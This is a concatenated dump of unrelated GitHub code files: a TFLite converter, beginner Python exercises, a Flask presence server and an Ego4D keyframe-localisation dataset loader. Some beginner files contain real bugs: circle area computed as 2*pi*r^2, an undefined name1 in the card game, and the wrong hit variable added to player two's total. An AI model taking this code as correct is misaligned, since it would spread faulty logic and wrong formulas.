the Keras model file to TensorFlow Lite model\r\nimport tensorflow as tf\r\n\r\nsaved_model_path = r\"C:\\Users\\Cedric\\PycharmProjects\\CSE475-ML\\Trained_Model\"\r\nconverter = tf.lite.TFLiteConverter.from_saved_model(saved_model_path)\r\ntflite_model = converter.convert()\r\nopen(\"converted_model.tflite\", \"wb\").write(tflite_model)","repo_name":"alabamaJoe/CSE475_G7","sub_path":"Machine Learning/tf_to_tfLite.py","file_name":"tf_to_tfLite.py","file_ext":"py","file_size_in_byte":366,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"3983901071","text":"nextPoint = 0\nsomaNumeros = 0\nnumeroMaior = 0\ncontador = 0\n\ndef verificaLinha(k, linha):\n global contador\n global numeroMaior\n global somaNumeros\n\n tamanho = linha.replace('\\n', '')\n tamanho = tamanho.split(' ')\n\n if(len(tamanho) > 1):\n for i in tamanho:\n contador += 1\n somaNumeros += float(i)\n\n if float(i) > numeroMaior:\n numeroMaior = float(i)\n else:\n return 0\n\n\ndef verificaNumeroMaior(i=None, data=None):\n\n global numeroMaior\n\n data = float(data)\n\n if (i == 0):\n numeroMaior = data\n\n elif (data > numeroMaior):\n numeroMaior = data\n\n\ndef lerLinhas(i=0, nomearquivo=None):\n\n global nextPoint\n global somaNumeros\n global numeroMaior\n global contador\n\n\n\n with open(nomearquivo, 'r') as binary_file:\n binary_file.seek(i)\n data = binary_file.readline()\n\n if(data == ''):\n imprimeResposta()\n exit()\n else:\n retornoDaverificacao = verificaLinha(i, data)\n\n\n if(retornoDaverificacao == 0):\n data = float(data)\n contador += 1\n somaNumeros += float(data[:-1])\n\n\n if(data.find('\\n') != -1):\n\n verificaNumeroMaior(i, data)\n\n nextPoint += len(data)\n lerLinhas(nextPoint, nomearquivo)\n\n else:\n verificaNumeroMaior(i, data)\n else:\n nextPoint += len(data)\n lerLinhas(nextPoint, nomearquivo)\n\n\n imprimeResposta()\n\n\ndef imprimeResposta():\n print('Numero Maior', numeroMaior)\n print('A media dos numeros e', somaNumeros / contador)\n\n\ndef main():\n nomeArquivo = input('insira o nome do arquivo => ')\n lerLinhas(0, nomeArquivo)\n\nif __name__ == '__main__':\n main()\n\n\n","repo_name":"jairorudas/AP2FD","sub_path":"exercicio2.py","file_name":"exercicio2.py","file_ext":"py","file_size_in_byte":1807,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"4422241949","text":"# since I know what I need from the module, I only need to import one thing\nfrom math import pi\n\n# to define a class, use the 'class' keyword\nclass Calculator():\n def add(self, *args): # *args lets me take in any number of arguments\n if len(args) < 2:\n return \"You need at least two values to add together\"\n else:\n return sum(args) # return the sum of all the values inputted\n\n def subtract(self, num1, num2):\n return num1 - num2 # returns first value - second value\n\n def multiply(self, *args):\n if len(args) < 2:\n return \"You need at least two values to multiply together\"\n \n product = 1 # start at 1 as 1 * value = value - starting at 0 would create errors\n # multiplies all the values entered\n for num in args:\n product = product * num \n return product\n\n def divide(self, num1, num2):\n \n # check for invalid inputs\n if num2 == 0:\n return \"You cannot divide by 0\"\n\n return num1 / num2\n\n# To extend a class, include it in brackets the class definition\nclass Calculator_Extended(Calculator): \n\n # You don't need to do anything extra for this class to inherit\n # Calculator's methods. You can move straight into writing unique\n # ones for this class\n \n def area_of_circle(self, radius):\n return 2 * pi * pow(radius, 2)\n \n def area_of_square(self, height):\n return pow(height, 2)\n\n def area_of_triangle(self, base, height):\n return (base * height) / 2\n\n# creating an instance of Calculator\ncalcy = Calculator()\n\nprint('For addition, got:', calcy.add(1, 2, 3)) # should be 6\nprint('For subtraction, got:', calcy.subtract(4, 2)) # should be 2\nprint('For multiplication, got:', calcy.multiply(3, 7)) # 21\nprint('For division, got:', calcy.divide(49, 7)) # 7.0\nprint('For incorrect division, got:', calcy.divide(9, 0)) # won't allow this\n\nprint('\\n')\n# creating an instance of Calculator_Extended\nmega_calcy = Calculator_Extended()\n\n# It has all the functionality of Calculator\nprint('For addition, got:', mega_calcy.add(9, 10)) # 19\nprint('For subtraction, got:', mega_calcy.subtract(4, 2)) # 2\nprint('For multiplication, got:', mega_calcy.multiply(3, 7)) # 21\nprint('For division, got:', mega_calcy.divide(49, 7)) # 7.0\nprint('For incorrect division, got:', mega_calcy.divide(9, 0)) # won't allow this\n\nrad = 2\nheight = 9\nbase = 11\n\n# It also has access to all the new functions\nprint('\\nAnd for the new functions:\\n')\nprint('For a circle with radius {}, you get an area of {}'.format(rad, mega_calcy.area_of_circle(rad)))\nprint('For a square of height {}, you get an area of {}'.format(height, mega_calcy.area_of_square(height)))\nprint('For a triange of base {} and height {}, you get an area of {}'.format(base, height, mega_calcy.area_of_triangle(base, height)))","repo_name":"OneOverCosine/eng84_excercises","sub_path":"week_1/functional_calculator.py","file_name":"functional_calculator.py","file_ext":"py","file_size_in_byte":2866,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"31642693663","text":"#salatheo clay \n# number game of 21 kinda like blackjack \n#two players\ndef multiplicativeidentity(numberby1):\n#passes the parameter of whatever number is entered in numberby1\n numberTimes1= 1*numberby1\n print(numberTimes1)\ndef calculateTaxesonPizza():\n taxes= .06\n pizzaHutPizza=4.79\n taxOfpizza= taxes*pizzaHutPizza\n print(\"the tax of a personal pan pizza is\",taxOfpizza)\n #uses the data held in main and assigns the answer to taxofpizza\n \ndef main():\n numberby1= int(input())\n calculateTaxesonPizza()\n multiplicativeidentity(numberby1)\n \n \n #function that determines the tax of pizza\n \nmain()\nsep= ''\n(9*9)\n #multiplation\n(9/9)\n #divison gets 1\n(15//4)\n#remaindor divison divides to the highest point without remainder\n(15%4)\n#modulus outputs the remainder of the quotient \n(\"sal\"+\"atheo\")\n#adds 2 strings together end by end\n(\"hello\"*3)\n#prints hello 3 times\n(9!=5)\n#boolen operator b=not and equal\nfor x in range(4,1,-1):\n print (\"game starting in\",x-1)\n#for function countsdown the numbers from 3 by intervals of -1\ngame= True\nif not game :\n print(\"game is true\")\n#not statement prints game is true if game was = False\n \nname = input(\"what is your name\")\nname2= input(\"what is player two's name\")\nprint (\"hello\", name, \"and\" ,name2)\nprint(\"today you will be playing a game of 21\", name ,\"and\" ,name2)\nprint (\"are you ready to begin\")\n#try if statement to start game with a yes input\nprint (\"you will be playing against a friend\")\nprint(\"you and the other player will draw a number\")\nprint (\"the goal is to be the closest to the numberer 21 without going over vs your friend\")\nprint (\"lets begin\", name)\n\nimport random\nplayertotal1=0\nplayertotal2=0\nhitvalue=0\nhitvalue2=0\n\n\nplayer_continue_confirmation= True\n#if statemtn that when entered yes while player can play the game \nplayercontinue =input(\"Enter yes if you would like another hit\")\nif playercontinue == \"yes\":\n # boolen operator == is used meaning playercontiue equals yes\n player_continue_confirmation= True\n while player_continue_confirmation:\n \n hitvalue+= random.randrange(1,12)\n playertotal1+= hitvalue\n print(\"your hit value was\", hitvalue)\n print(\"your new player total is\", playertotal1)\n playercontinue =input(\"Enter yes if you would like another hit\")\n # when no is entred the loop ends\n if playercontinue== \"no\":\n player_continue_confirmation= False\nplayercontinue2 =input(\"Enter yes if you would like another hit\")\nif playercontinue2 == \"yes\":\n player_continue_confirmation2= True\n while player_continue_confirmation2:\n \n hitvalue2+= random.randrange(1,12)\n playertotal2+= hitvalue\n print(\"your hit value was\", hitvalue)\n print(\"your new player total is\", playertotal2)\n playercontinue2 =input(\"Enter yes if you would like another hit, no to stop\")\n if playercontinue2 == \"no\":\n player_continue_confirmation2= False\n\n\nprint (playertotal1)\n#visual toatal of player count after being added to with random number \nprint ('would you like another hit', name)\n\n\n#check addition operation\n#random number to add to player total)\nprint (playertotal2)\n#being added to player total\n#fix addition to player score\n#if statements evaluate player total compared to other pkayer and 21 and awards winner\nif playertotal1>playertotal2 and playertotal1<21:\n print(name1, \"wins congrats!\")\nelif playertotal2>playertotal1 and playertotal2<21:\n print(name2, \"wins congrats!\")\nelif playertotal1>21 and playertotal2<21:\n print(name2, \"wins congrats\")\nelif playertotal1<21 and playertotal2>21:\n print (name1, \"congrats\")\nprint(\"thanks for playing\", end = ' have a nice day')\n\n\n","repo_name":"walatheo/codestuff","sub_path":"integration1031 (1).py","file_name":"integration1031 (1).py","file_ext":"py","file_size_in_byte":3697,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"680027013","text":"from flask import Flask, render_template, request, jsonify, abort, send_from_directory\nfrom flask_caching import Cache\nfrom datetime import datetime, timedelta\n\nDEBUG = False\nBIND = '127.0.0.1'\nSSL = False\n\nREFRESH_INTERVAL = 60 # Seconds\nCACHE_RETENTION = REFRESH_INTERVAL * 2\nCAPTURE_WIDTH = 640\nCAPTURE_HEIGHT = 480\nVERSION = '1.0.4'\n\napp = Flask(__name__)\ncache = Cache(app, config={'CACHE_TYPE': 'simple'})\n\nclass RoomCache:\n def __init__(self):\n self.cache = {}\n\n def add(self, unique_id, display_name, image, time):\n self.cache[unique_id] = (datetime.utcnow(), display_name, image, time)\n\n def get(self):\n self.__clean()\n\n results = []\n for key, value in list(self.cache.items()):\n result = {}\n result['unique_id'] = key\n result['display_name'] = value[1]\n result['image'] = value[2]\n result['time'] = value[3]\n results.append(result)\n\n return results\n\n def __clean(self):\n for key, value in list(self.cache.items()):\n delta = timedelta(seconds=CACHE_RETENTION)\n if value[0] + delta < datetime.utcnow():\n del self.cache[key]\n\n\n@app.route('/')\ndef default():\n return render_template('index.html',\n refresh_interval=REFRESH_INTERVAL * 1000,\n capture_width=CAPTURE_WIDTH,\n capture_height=CAPTURE_HEIGHT,\n version=VERSION,\n base_url=request.base_url)\n\n\n@app.route('/presence/', methods=['GET'])\ndef get_presence(room_name):\n cache_entry = cache.get(room_name)\n if cache_entry is None:\n abort(404)\n else:\n return jsonify({'room_name': room_name, 'members': cache_entry.get()})\n\n\n@app.route('/presence/', methods=['POST'])\ndef presence(room_name):\n cache_entry = cache.get(room_name)\n\n args = request.get_json()\n if args is None:\n abort(500)\n\n unique_id = args.get('unique_id')\n display_name = args.get('display_name')\n image = args.get('image', None)\n time = args.get('time', None)\n if len(unique_id) == 0 or \\\n len(display_name) == 0 or \\\n len(image) == 0 or \\\n len(time) == 0:\n abort(500)\n\n if cache_entry is None:\n cache_entry = RoomCache()\n\n cache_entry.add(unique_id, display_name, image, time)\n cache.set(room_name, cache_entry, timeout=CACHE_RETENTION)\n\n return ''\n\n\n@app.route('/version', methods=['GET'])\ndef version():\n return jsonify({'version': VERSION})\n\n\nif __name__ == '__main__':\n app.run(debug=DEBUG,\n host=BIND,\n ssl_context='adhoc' if SSL else None)\n","repo_name":"gpailler/tPresent","sub_path":"flask_app.py","file_name":"flask_app.py","file_ext":"py","file_size_in_byte":2717,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"21"} +{"seq_id":"37061639398","text":"import copy\nimport os\nimport json\nimport time\n\nimport av\nimport cv2\nimport torch\nimport numpy as np\nfrom tqdm import tqdm\n\nfrom utils.pnr.trim import _get_frames\nfrom .build_dataset import DATASET_REGISTRY\n\n\n@DATASET_REGISTRY.register()\nclass StateChangeDetectionAndKeyframeLocalisation(torch.utils.data.Dataset):\n \"\"\"\n Data loader for state change detection and key-frame localization.\n This data loader assumes that the user has alredy extracted the frames from\n all the videos using the `train.json`, `test_unnotated.json`, and\n 'val.json' provided.\n \"\"\"\n def __init__(self, cfg, mode):\n assert mode in [\n 'train',\n 'val',\n 'test'\n ], \"Split `{}` not supported for Keyframe detection.\".format(mode)\n self.mode = mode\n self.cfg = cfg\n self.ann_path = os.path.join(cfg.DATA.ANN_DIR, f'{self.mode}.json')\n ann_err_msg = f\"Wrong annotation path provided {self.ann_path}\"\n assert os.path.exists(self.ann_path), ann_err_msg\n self.video_dir = self.cfg.DATA.VIDEO_DIR_PATH\n assert os.path.exists(self.video_dir), \"Wrong videos path provided\"\n self.positive_vid_dir = self.cfg.DATA.CLIPS_SAVE_PATH\n positive_vid_err_msg = \"Wrong positive clips' frame path provided\"\n assert os.path.exists(self.positive_vid_dir), positive_vid_err_msg\n self.negative_vid_dir = self.cfg.DATA.NO_SC_PATH\n negative_vid_err_msg = \"Wrong negative clips' frame path provided\"\n assert os.path.exists(self.negative_vid_dir), negative_vid_err_msg\n self.test_vid_dir = \"/checkpoint/sherryxue/ego4d/v1/fho_oscc/test_clips/\"\n assert os.path.exists(self.test_vid_dir)\n self._construct_loader()\n\n def _construct_loader(self):\n self.package = dict()\n self.ann_data = json.load(open(self.ann_path, 'r'))\n cnt = 0\n for count, value in enumerate(tqdm(self.ann_data['clips'], desc='Preparing data')):\n # if value['state_change']:\n # continue\n if self.mode != 'test' and not self.cfg.DATA_LOADER.IS_NO_STATE_CHANGE:\n if not value['state_change']:\n continue\n clip_start_sec = value['parent_start_sec']\n clip_end_sec = value['parent_end_sec']\n clip_start_frame = value['parent_start_frame']\n clip_end_frame = value['parent_end_frame']\n video_id = value['video_uid']\n unique_id = value['unique_id']\n assert count not in self.package.keys()\n if self.mode in ['train', 'val']:\n state_change = value['state_change']\n pnr_frame = value['parent_pnr_frame'] if 'parent_pnr_frame' in value else value['pnr_frame']\n clip_uid = value['clip_uid'] if value['clip_uid'] is not None else unique_id\n else:\n state_change = None\n pnr_frame = None\n clip_uid = unique_id\n self.package[count] = { #count\n 'unique_id': unique_id,\n 'pnr_frame': pnr_frame,\n 'state': 0 if state_change is False else 1,\n 'clip_start_sec': clip_start_sec,\n 'clip_end_sec': clip_end_sec,\n 'clip_start_frame': int(clip_start_frame),\n 'clip_end_frame': int(clip_end_frame),\n 'video_id': video_id,\n 'clip_uid': unique_id\n }\n cnt = cnt + 1\n print(f'Number of clips for {self.mode}: {len(self.package)}')\n\n def __len__(self):\n return len(self.package)\n\n def __getitem__(self, index):\n return self._get_item_orig(index)\n\n def _get_item_orig(self, index):\n info = self.package[index]\n state = info['state']\n self._extract_clip_frames(info)\n frames, labels, _ = self._sample_frames_gen_labels(info)\n frames = torch.as_tensor(frames).permute(3, 0, 1, 2)\n clip_len = info['clip_end_sec'] - info['clip_start_sec']\n clip_frame = info['clip_end_frame'] - info['clip_start_frame'] + 1\n fps = clip_frame / clip_len\n info_new = copy.deepcopy(info)\n if info_new['pnr_frame'] is None:\n info_new['pnr_frame'] = -1\n return [frames], labels, state, fps, info_new\n\n def _extract_clip_frames(self, info):\n \"\"\"\n This method is used to ext\n ract and save frames for all the 8 seconds\n clips. If the frames are already saved, it does nothing.\n \"\"\"\n clip_start_frame = info['clip_start_frame']\n clip_end_frame = info['clip_end_frame']\n unique_id = info['unique_id']\n video_path = os.path.join(\n self.video_dir,\n info['video_id']+'.mp4'\n )\n if self.mode == 'test':\n clip_save_path = os.path.join(self.test_vid_dir, unique_id)\n else:\n if info['pnr_frame'] is not None:\n clip_save_path = os.path.join(self.positive_vid_dir, unique_id)\n else:\n clip_save_path = os.path.join(self.negative_vid_dir, unique_id)\n\n # We can do do this fps for canonical data is 30.\n num_frames_per_video = 30 * self.cfg.DATA.CLIP_LEN_SEC\n if os.path.isdir(clip_save_path):\n # The frames for this clip are already saved.\n num_frames = len(os.listdir(clip_save_path))\n if num_frames < (clip_end_frame - clip_start_frame):\n print(\n f'Deleting {clip_save_path} as it has {num_frames} frames'\n )\n os.system(f'rm -r {clip_save_path}')\n else:\n return None\n print(f'Saving frames for {clip_save_path}...')\n os.makedirs(clip_save_path)\n start = time.time()\n # We need to save the frames for this clip.\n frames_list = [\n i for i in range(clip_start_frame, clip_end_frame + 1, 1)\n ]\n frames = self.get_frames_for(\n video_path,\n frames_list,\n )\n desired_shorter_side = 384\n num_saved_frames = 0\n for frame, frame_count in zip(frames, frames_list):\n original_height, original_width, _ = frame.shape\n if original_height < original_width:\n # Height is the shorter side\n new_height = desired_shorter_side\n new_width = np.round(\n original_width*(desired_shorter_side/original_height)\n ).astype(np.int32)\n elif original_height > original_width:\n # Width is the shorter side\n new_width = desired_shorter_side\n new_height = np.round(\n original_height*(desired_shorter_side/original_width)\n ).astype(np.int32)\n else:\n # Both are the same\n new_height = desired_shorter_side\n new_width = desired_shorter_side\n assert np.isclose(\n new_width/new_height,\n original_width/original_height,\n 0.01\n )\n frame = cv2.resize(\n frame,\n (new_width, new_height),\n interpolation=cv2.INTER_AREA\n )\n cv2.imwrite(\n os.path.join(\n clip_save_path,\n f'{frame_count}.jpeg'\n ),\n cv2.cvtColor(frame, cv2.COLOR_RGB2BGR)\n )\n num_saved_frames += 1\n print(f'Time taken: {time.time() - start}; {num_saved_frames} '\n f'frames saved; {clip_save_path}')\n return None\n\n def _sample_frames(\n self,\n unique_id,\n clip_start_frame,\n clip_end_frame,\n num_frames_required,\n pnr_frame\n ):\n num_frames = clip_end_frame - clip_start_frame\n if num_frames < num_frames_required:\n print(f'Issue: {unique_id}; {num_frames}; {num_frames_required}')\n error_message = \"Can\\'t sample more frames than there are in the video\"\n assert num_frames >= num_frames_required, error_message\n lower_lim = np.floor(num_frames/num_frames_required)\n upper_lim = np.ceil(num_frames/num_frames_required)\n lower_frames = list()\n upper_frames = list()\n lower_keyframe_candidates_list = list()\n upper_keyframe_candidates_list = list()\n for frame_count in range(clip_start_frame, clip_end_frame, 1):\n if frame_count % lower_lim == 0:\n lower_frames.append(frame_count)\n if pnr_frame is not None:\n lower_keyframe_candidates_list.append(\n np.abs(frame_count - pnr_frame)\n )\n else:\n lower_keyframe_candidates_list.append(0.0)\n if frame_count % upper_lim == 0:\n upper_frames.append(frame_count)\n if pnr_frame is not None:\n upper_keyframe_candidates_list.append(\n np.abs(frame_count - pnr_frame)\n )\n else:\n upper_keyframe_candidates_list.append(0.0)\n if len(upper_frames) < num_frames_required:\n return (\n lower_frames[:num_frames_required],\n lower_keyframe_candidates_list[:num_frames_required]\n )\n return (\n upper_frames[:num_frames_required],\n upper_keyframe_candidates_list[:num_frames_required]\n )\n\n def _load_frame(self, frame_path):\n \"\"\"\n This method is used to read a frame and do some pre-processing.\n\n Args:\n frame_path (str): Path to the frame\n \n Returns:\n frames (ndarray): Image as a numpy array\n \"\"\"\n frame = cv2.imread(frame_path)\n frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)\n frame = cv2.resize(frame,(\n self.cfg.DATA.CROP_SIZE,\n self.cfg.DATA.CROP_SIZE\n ))\n frame = np.expand_dims(frame, axis=0).astype(np.float32)\n return frame\n\n def _sample_frames_gen_labels(self, info):\n if self.mode == 'test':\n clip_path = os.path.join(self.test_vid_dir, info['unique_id'])\n else:\n if info['pnr_frame'] is not None:\n clip_path = os.path.join(\n self.positive_vid_dir,\n info['unique_id']\n )\n else:\n # Clip path for clips with no state change\n clip_path = os.path.join(\n self.negative_vid_dir,\n info['unique_id']\n )\n message = f'Clip path {clip_path} does not exists...'\n assert os.path.isdir(clip_path), message\n num_frames_per_video = (\n self.cfg.DATA.SAMPLING_FPS * self.cfg.DATA.CLIP_LEN_SEC\n )\n pnr_frame = info['pnr_frame']\n if self.mode == 'train':\n # Random clipping\n # Randomly choosing the duration of clip (between 5-8 seconds)\n random_length_seconds = np.random.uniform(5, 8)\n random_start_seconds = info['clip_start_sec'] + np.random.uniform(\n 8 - random_length_seconds\n )\n random_start_frame = np.floor(\n random_start_seconds * 30\n ).astype(np.int32)\n random_end_seconds = random_start_seconds + random_length_seconds\n if random_end_seconds > info['clip_end_sec']:\n random_end_seconds = info['clip_end_sec']\n random_end_frame = np.floor(\n random_end_seconds * 30\n ).astype(np.int32)\n if pnr_frame is not None:\n keyframe_after_end = pnr_frame > random_end_frame\n keyframe_before_start = pnr_frame < random_start_frame\n if keyframe_after_end:\n random_end_frame = info['clip_end_frame']\n if keyframe_before_start:\n random_start_frame = info['clip_start_frame']\n elif self.mode in ['test', 'val']:\n random_start_frame = info['clip_start_frame']\n random_end_frame = info['clip_end_frame']\n\n if pnr_frame is not None:\n message = (f'Random start frame {random_start_frame} Random end '\n f'frame {random_end_frame} info {info} clip path {clip_path}')\n assert random_start_frame <= pnr_frame <= random_end_frame, message\n else:\n message = (f'Random start frame {random_start_frame} Random end '\n f'frame {random_end_frame} info {info} clip path {clip_path}')\n assert random_start_frame < random_end_frame, message\n\n candidate_frame_nums, keyframe_candidates_list = self._sample_frames(\n info['unique_id'],\n random_start_frame,\n random_end_frame,\n num_frames_per_video,\n pnr_frame\n )\n frames = list()\n for frame_num in candidate_frame_nums:\n frame_path = os.path.join(clip_path, f'{frame_num}.jpeg')\n message = f'{frame_path}; {candidate_frame_nums}'\n assert os.path.isfile(frame_path), message\n frames.append(self._load_frame(frame_path))\n if pnr_frame is not None:\n keyframe_location = np.argmin(keyframe_candidates_list)\n hard_labels = np.zeros(len(candidate_frame_nums))\n hard_labels[keyframe_location] = 1\n labels = hard_labels\n else:\n labels = keyframe_candidates_list\n # Calculating the effective fps. In other words, the fps after sampling\n # changes when we are randomly clipping and varying the duration of the\n # clip\n final_clip_length = (random_end_frame/30) - (random_start_frame/30)\n effective_fps = num_frames_per_video / final_clip_length\n return np.concatenate(frames), np.array(labels), effective_fps\n\n def get_frames_for(self, video_path, frames_list):\n \"\"\"\n Code for decoding the video\n \"\"\"\n frames = list()\n with av.open(video_path) as container:\n for frame in _get_frames(\n frames_list,\n container,\n include_audio=False,\n audio_buffer_frames=0\n ):\n frame = frame.to_rgb().to_ndarray()\n frames.append(frame)\n return frames\n\n\n@DATASET_REGISTRY.register()\nclass PNRDatasetSequenceLabel(StateChangeDetectionAndKeyframeLocalisation):\n def __init__(self, cfg, vocab, mode):\n super(PNRDatasetSequenceLabel, self).__init__(cfg, mode)\n self.vocab = vocab\n self.pnr_task_idx = vocab['pnr']\n self.oscc_task_idx = vocab['oscc']\n self.eos_idx = vocab['']\n\n def __getitem__(self, index):\n frames, labels, state_change_label, fps, info = self._get_item_orig(index)\n pnr_seq = self._prepare_pnr_label(labels)\n oscc_seq = self._prepare_oscc_label(state_change_label)\n return frames, pnr_seq, oscc_seq, fps, info, labels, state_change_label\n\n def _prepare_pnr_label(self, label):\n tmp = str(np.argmax(label))\n target_seq = [self.pnr_task_idx, self.vocab[tmp], self.eos_idx]\n # print('pnr before modify', label, 'after modify', target_seq)\n return torch.LongTensor(target_seq)\n\n def _prepare_oscc_label(self, label):\n label_map_dict = {0: 'False', 1: 'True'}\n target_seq = [self.oscc_task_idx, self.vocab[label_map_dict[label]], self.eos_idx]\n # print('oscc before modify', label, 'after modify', target_seq)\n return torch.LongTensor(target_seq)\n\n\nimport itertools\nfrom torch.utils.data import RandomSampler\nfrom torch.utils.data.distributed import DistributedSampler\nfrom pytorchvideo.data import make_clip_sampler\nfrom dataset.lta.long_term_anticipation import make_transform_unlabeled\nfrom dataset.lta.ptv_dataset_helper import LabeledVideoDataset, UntrimmedClipSampler\n\n@DATASET_REGISTRY.register()\nclass PNRDatasetwithAuxTask(StateChangeDetectionAndKeyframeLocalisation):\n \"\"\"\n Transform PNR training data to input formats of other auxiliary tasks (currently only support AC task)\n \"\"\"\n def __init__(self, cfg, cfg_aux, mode):\n super(PNRDatasetwithAuxTask, self).__init__(cfg, mode)\n self.recognition_dataset = self._construct_recognition_dataset(cfg_aux, mode)\n self._recognition_dataset_iter = itertools.chain.from_iterable(\n itertools.repeat(iter(self.recognition_dataset), 2)\n )\n\n def __getitem__(self, index):\n value = self._get_item_recognition(index)\n video_info = value[1]\n name = video_info['video_name'].replace('.mp4', '') + '_' + str(video_info['start_sec']) + '_' + str(\n video_info['end_sec'])\n assert name in self.pnr_mapping\n # return {'orig': self._get_item_orig_by_name(name), 'recognition': value}\n return {'orig': self._get_item_orig_by_name(name), 'recognition': value[0]}\n\n def _get_item_orig_by_name(self, name):\n info = self.pnr_mapping[name]\n state = info['state']\n self._extract_clip_frames(info)\n frames, labels, _ = self._sample_frames_gen_labels(info)\n frames = torch.as_tensor(frames).permute(3, 0, 1, 2)\n clip_len = info['clip_end_sec'] - info['clip_start_sec']\n clip_frame = info['clip_end_frame'] - info['clip_start_frame'] + 1\n fps = clip_frame / clip_len\n info_new = copy.deepcopy(info)\n if info_new['pnr_frame'] is None:\n info_new['pnr_frame'] = -1\n return [frames], labels, state, fps, info_new\n\n def _get_item_recognition(self, index):\n value = next(self._recognition_dataset_iter)\n return value\n\n @property\n def sampler(self):\n return self.recognition_dataset.video_sampler\n\n def _construct_recognition_dataset(self, cfg, mode):\n sampler = RandomSampler\n if cfg.SOLVER.ACCELERATOR != \"dp\" and cfg.NUM_GPUS > 1:\n print('distributed sampler')\n sampler = DistributedSampler\n else:\n print('random sampler')\n\n clip_sampler_type = \"uniform\" if self.mode == \"test\" else \"random\"\n clip_duration = (cfg.DATA.NUM_FRAMES * cfg.DATA.SAMPLING_RATE) / cfg.DATA.TARGET_FPS\n clip_sampler = make_clip_sampler(clip_sampler_type, clip_duration)\n\n transform = make_transform_unlabeled(self.mode, cfg)\n if mode == \"test\":\n untrimmed_clip_annotations = self._get_recognition_test_clip_list()\n else:\n untrimmed_clip_annotations = self._get_recognition_clip_list()\n dataset = LabeledVideoDataset(\n untrimmed_clip_annotations,\n UntrimmedClipSampler(clip_sampler),\n sampler,\n transform,\n decode_audio=False,\n decoder=\"pyav\",\n )\n return dataset\n\n\n def _get_recognition_test_clip_list(self, preprocess=False):\n clip_list = []\n avg_duration = []\n self.pnr_mapping = dict()\n ann_data = json.load(open(self.ann_path, 'r'))\n for count, entry in enumerate(ann_data['clips']):\n video_name = entry[\"unique_id\"]\n video_file = os.path.join(\"/checkpoint/sherryxue/ego4d/videos_lta_forOSCC_test/clips/\", f'{entry[\"unique_id\"]}.mp4')\n start_sec = 0\n end_sec = entry['parent_end_sec'] - entry['parent_start_sec']\n if preprocess:\n video_file = video_file.replace(\"clips\", \"clips_hq\")\n if not os.path.exists(video_file):\n cmd = f\"ffmpeg -ss {entry['parent_start_sec']} -to {entry['parent_end_sec']} \" \\\n f\"-i /datasets01/ego4d_track2/v1/full_scale/{entry['video_uid']}.mp4 \" \\\n f\"-c copy {video_file}\"\n os.system(cmd)\n assert os.path.exists(video_file)\n avg_duration.append(end_sec - start_sec)\n clip_list.append((video_file, {\n \"clip_start_sec\": start_sec,\n \"clip_end_sec\": end_sec,\n }))\n key_name = video_name + '_' + str(start_sec) + '_' + str(end_sec)\n self.pnr_mapping[key_name] = self.package[count]\n print(f'Number of clips for train (Action): {len(clip_list)}')\n print(f'Avg. duration {np.mean(avg_duration):.3f}s')\n return clip_list\n\n def _get_recognition_clip_list(self, preprocess=False):\n clip_list = []\n avg_duration = []\n self.pnr_mapping = dict()\n ann_data = json.load(open(self.ann_path, 'r'))\n for count, entry in enumerate(ann_data['clips']):\n if entry['clip_uid'] is not None: # pnr exists\n video_name = entry[\"clip_uid\"]\n video_file = os.path.join(\"/checkpoint/sherryxue/ego4d/long_term_anticipation/clips/\", f'{entry[\"clip_uid\"]}.mp4')\n if not os.path.exists(video_file):\n video_file = os.path.join(\"/checkpoint/sherryxue/ego4d/videos_lta_forPNR/clips/\", f'{entry[\"clip_uid\"]}.mp4')\n start_sec = entry['clip_start_sec']\n end_sec = entry['clip_end_sec']\n if preprocess:\n video_file = video_file.replace(\"clips\", \"clips_hq\")\n if not os.path.exists(video_file):\n cmd = f\"cp /datasets01/ego4d_track2/v1/clips/{entry['clip_uid']}.mp4 /checkpoint/sherryxue/ego4d/videos_lta_forPNR_val/clips_hq/\"\n os.system(cmd)\n else:\n if not self.cfg.DATA_LOADER.IS_NO_STATE_CHANGE:\n continue\n video_name = entry[\"unique_id\"]\n video_file = os.path.join(\"/checkpoint/sherryxue/ego4d/videos_lta_forOSCC/clips/\", f'{entry[\"unique_id\"]}.mp4')\n start_sec = 0\n end_sec = entry['parent_end_sec'] - entry['parent_start_sec']\n if preprocess:\n video_file = video_file.replace(\"clips\", \"clips_hq\")\n if not os.path.exists(video_file):\n cmd = f\"ffmpeg -ss {entry['parent_start_sec']} -to {entry['parent_end_sec']} \" \\\n f\"-i /datasets01/ego4d_track2/v1/full_scale/{entry['video_uid']}.mp4 \" \\\n f\"-c copy /checkpoint/sherryxue/ego4d/videos_lta_forOSCC_val/clips_hq/{entry['unique_id']}.mp4\"\n os.system(cmd)\n if not os.path.exists(video_file):\n print(f'{video_file} does not exist')\n assert os.path.exists(video_file)\n avg_duration.append(end_sec - start_sec)\n clip_list.append((video_file, {\n \"clip_start_sec\": start_sec,\n \"clip_end_sec\": end_sec,\n }))\n key_name = video_name + '_' + str(start_sec) + '_' + str(end_sec)\n self.pnr_mapping[key_name] = self.package[count]\n print(f'Number of clips for train (Action): {len(clip_list)}')\n print(f'Avg. duration {np.mean(avg_duration):.3f}s')\n return clip_list\n\n\n@DATASET_REGISTRY.register()\nclass PNRDatasetwithAuxTaskSequenceLabel(PNRDatasetwithAuxTask):\n \"\"\"\n Transform PNR training data to input formats of other auxiliary tasks (currently only support AC task)\n \"\"\"\n def __init__(self, cfg, cfg_aux, vocab, mode):\n super(PNRDatasetwithAuxTaskSequenceLabel, self).__init__(cfg, cfg_aux, mode)\n self.vocab = vocab\n self.pnr_task_idx = vocab['pnr']\n self.oscc_task_idx = vocab['oscc']\n self.eos_idx = vocab['']\n\n def __getitem__(self, index):\n value = self._get_item_recognition(index)\n video_info = value[1]\n name = video_info['video_name'].replace('.mp4', '') + '_' + str(video_info['start_sec']) + '_' + str(\n video_info['end_sec'])\n assert name in self.pnr_mapping\n frames, labels, state_change_label, fps, info = self._get_item_orig_by_name(name)\n pnr_seq = self._prepare_pnr_label(labels)\n oscc_seq = self._prepare_oscc_label(state_change_label)\n orig_new = frames, pnr_seq, oscc_seq, fps, info, labels, state_change_label\n return {'orig': orig_new, 'recognition': value[0]}\n\n def 